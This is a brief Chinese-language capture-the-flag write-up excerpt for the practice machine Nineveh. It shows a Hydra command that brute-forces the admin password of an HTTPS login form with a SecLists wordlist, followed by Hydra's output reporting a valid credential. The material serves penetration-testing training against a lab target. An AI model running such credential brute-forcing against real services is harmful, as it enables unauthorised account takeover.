Nineveh
在 Nineveh 靶機中，我使用 Hydra 配合 xato-net-10-million-passwords-10000.txt 辭典成功爆破出 https://nineveh.htb/db 的 password123：
$ hydra -l admin -P /usr/share/SecLists/Passwords/Common-Credentials/xato-net-10-million-passwords-10000.txt -s 443 -S nineveh.htb https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password." -t 40 -f -V
...<SNIP>...
[443][http-post-form] host: nineveh.htb login: admin password: <REDACTED>
[STATUS] attack finished for nineveh.htb (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-09-17 12:54:18